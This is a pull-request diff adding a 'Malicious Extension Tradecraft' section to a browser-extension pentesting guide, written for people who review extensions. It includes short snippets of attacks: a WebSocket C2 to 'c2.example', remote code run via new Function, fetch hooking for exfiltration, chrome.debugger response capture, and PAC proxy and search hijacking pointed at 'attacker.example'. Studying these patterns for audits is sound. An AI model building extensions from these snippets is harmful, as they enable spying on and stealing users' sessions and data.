Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
174 changes: 174 additions & 0 deletions src/pentesting-web/browser-extension-pentesting-methodology/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -438,6 +438,177 @@ Practical checks:
- Look for `200`, `301`, or cache hits on old builds.
- Review older JS bundles for DOM XSS, unsafe message handlers, or gadget endpoints that can re-establish JavaScript execution on the trusted origin.

## Malicious Extension Tradecraft

The following patterns are worth checking when reviewing an extension that already has broad permissions. They are especially relevant in "productivity" or "AI assistant" extensions because those often request access to mailboxes, prompts, documents and every visited page.

### WebSocket C2 in the background/service worker

A malicious extension can keep a **bidirectional C2 channel** inside the browser without dropping files or injecting into other processes:

- The **popup/options page** triggers the initial connection.
- The **background page/service worker** keeps session state and reconnect logic.
- The traffic blends with normal browser-originated WebSocket traffic.

Common code patterns:

```javascript
const ws = new WebSocket("wss://c2.example/ws")
ws.onmessage = ({ data }) => handleCommand(JSON.parse(data))
ws.onclose = () => setTimeout(connect, 5000)
```

During review, inspect:

- **Background/service worker** code for `new WebSocket(`, reconnect loops, heartbeat timers, and command dispatchers.
- **Manifest permissions** that make the channel useful after connection, such as `tabs`, `scripting`, `debugger`, `webRequest`, `cookies` or `proxy`.
- **User-driven entry points** (`Connect`, `Start`, `Pair`, `Login`) that quietly bootstrap the C2 session.

### Remote JavaScript execution in the active tab

If the extension receives code or templates from a backend and evaluates them with **`eval`** / **`new Function`** before calling `chrome.scripting.executeScript`, the operator effectively gets **code execution in the victim's authenticated browsing context**:

```javascript
const fn = new Function(command.js)
await chrome.scripting.executeScript({
target: { tabId },
func: fn,
})
```

Interesting sinks:

- `eval`, `Function`, `setTimeout(string, ...)`, `setInterval(string, ...)`
- `chrome.scripting.executeScript`
- legacy `chrome.tabs.executeScript`

This is much more dangerous than generic telemetry because the attacker can interact with the user's live session in email, banking or SaaS applications.

### Browser API hooking before network encryption

Instead of intercepting traffic on the wire, a content script can inject code into the **page context** and hook native browser APIs such as **`window.fetch`** or **`XMLHttpRequest`**:

```javascript
const oldFetch = window.fetch
window.fetch = async (...args) => {
exfiltrate(args)
return await oldFetch(...args)
}
```

This lets the extension capture prompts, tokens or request bodies **before TLS encryption**. Look for:

- `<script>` injection from a content script into the page context
- wrappers around `fetch`, `XMLHttpRequest.prototype.open/send`, `WebSocket`, `sendBeacon`
- bridges that forward the captured data back to the extension via `window.postMessage`

### DOM scraping / Adversary-in-the-Browser

Content scripts do not need to hook requests if they can read the **rendered DOM** directly. This is the classic **Adversary-in-the-Browser (AitB)** pattern for browser extensions:

- scrape mailbox contents, prompts, OTPs, documents or chat transcripts from the DOM
- watch for changes using `MutationObserver`
- exfiltrate the collected plaintext to a remote endpoint

This bypasses many network-layer assumptions because the sensitive data is collected **after rendering**, inside the browser process.

### `chrome.debugger` / CDP abuse

The **`debugger`** permission is extremely sensitive. After attaching to a tab, the extension can drive the **Chrome DevTools Protocol (CDP)** and access data that is already decrypted at the browser boundary:

```javascript
await chrome.debugger.attach({ tabId }, "1.3")
await chrome.debugger.sendCommand({ tabId }, "Network.enable")
const body = await chrome.debugger.sendCommand(
{ tabId },
"Network.getResponseBody",
{ requestId }
)
```

Audit for:

- `chrome.debugger.attach`
- `chrome.debugger.sendCommand`
- CDP domains such as `Network`, `Fetch`, `Runtime`, `Page`

This can expose HTTPS response bodies without requiring any TLS interception infrastructure on the network.

### Dynamic PAC proxy hijack with `chrome.proxy`

An extension with the **`proxy`** permission can fetch a remote **PAC** file and apply it dynamically:

```javascript
chrome.proxy.settings.set({
value: {
mode: "pac_script",
pacScript: { url: "https://attacker.example/proxy.pac" },
},
scope: "regular",
})
```

Why this matters:

- PAC files are JavaScript and can route traffic **per host / per URL pattern**
- the PAC can be changed server-side **without publishing a new extension version**
- traffic can be selectively pushed through attacker infrastructure for visibility or manipulation

When auditing, search for `chrome.proxy.settings.set`, PAC URLs, proxy failover lists and startup handlers that refresh proxy settings.

### Cross-storage persistence and identifier restoration

Malicious extensions sometimes store the same identifier in several locations:

- `chrome.storage.sync`
- `chrome.storage.local`
- `chrome.cookies`
- page `localStorage`

Then they monitor deletion events and recreate the identifier from surviving copies:

```javascript
chrome.cookies.onChanged.addListener(({ removed, cookie }) => {
if (removed && cookie.name === "uid") restoreTrackingCookie()
})
```

Why **`chrome.storage.sync`** deserves special attention:

- it survives normal cookie clearing
- it can follow the victim across Chrome instances signed into the same profile
- it is also a convenient place to stash **API keys** or long-lived identifiers

During review, track how values move across cookies, extension storage and page storage, and verify whether deletion of one copy triggers automatic restoration.

### Search hijacking with `chrome_settings_overrides`

An extension can replace the default search provider directly from the manifest:

```json
"chrome_settings_overrides": {
"search_provider": {
"name": "Example",
"keyword": "example",
"search_url": "https://attacker.example/search?q={searchTerms}"
}
}
```

This turns every browser search into attacker-controlled traffic and can be combined with persistent IDs from `chrome.storage.sync` / cookies for cross-session correlation.

### Install-time forced navigation with `chrome.runtime.onInstalled`

The **`chrome.runtime.onInstalled`** event fires on installation or update, before the user interacts with the extension. Malicious extensions can abuse it to open tabs, trigger onboarding funnels, or silently drive the victim to more content:

```javascript
chrome.runtime.onInstalled.addListener(() => {
chrome.tabs.create({ url: chrome.runtime.getURL("thanks.html") })
})
```

Review both the event handler and any local HTML it opens (`thanks.html`, `welcome.html`, `setup.html`) because the local page may immediately contact remote infrastructure and redirect the user elsewhere.

## Communication summary

### Extension <--> WebApp
Expand Down Expand Up @@ -865,9 +1036,12 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu
- [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
- [https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)
- [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages)
- [https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle](https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle)
- [https://developer.chrome.com/docs/extensions/reference/api/proxy](https://developer.chrome.com/docs/extensions/reference/api/proxy)
- [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
- [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
- [https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/](https://redcanary.com/blog/threat-detection/assemblyline-browser-extensions/)
- [https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension](https://www.koi.ai/blog/shadowprompt-how-any-website-could-have-hijacked-anthropic-claude-chrome-extension)
- [https://unit42.paloaltonetworks.com/high-risk-gen-ai-browser-extensions/](https://unit42.paloaltonetworks.com/high-risk-gen-ai-browser-extensions/)

{{#include ../../banners/hacktricks-training.md}}